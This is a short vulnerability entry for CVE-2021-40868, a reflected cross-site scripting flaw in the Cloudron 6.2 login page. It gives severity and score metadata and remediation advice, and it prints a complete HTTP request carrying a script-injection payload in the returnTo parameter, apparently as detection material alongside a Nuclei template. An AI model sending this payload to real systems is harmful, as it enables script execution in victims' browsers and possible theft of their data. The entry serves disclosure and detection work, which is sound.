| Title | Cloudron 6.2 Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. |
| Remediation | Upgrade to Cloudron 6.3 or higher. |
| CVSS Score | 6.1 |
| EPSS Score | 0.24386 |
| CVE ID | CVE-2021-40868 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss cloudron packetstorm vuln |
In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
GET /login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40868.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40868.pcap
N/AN/A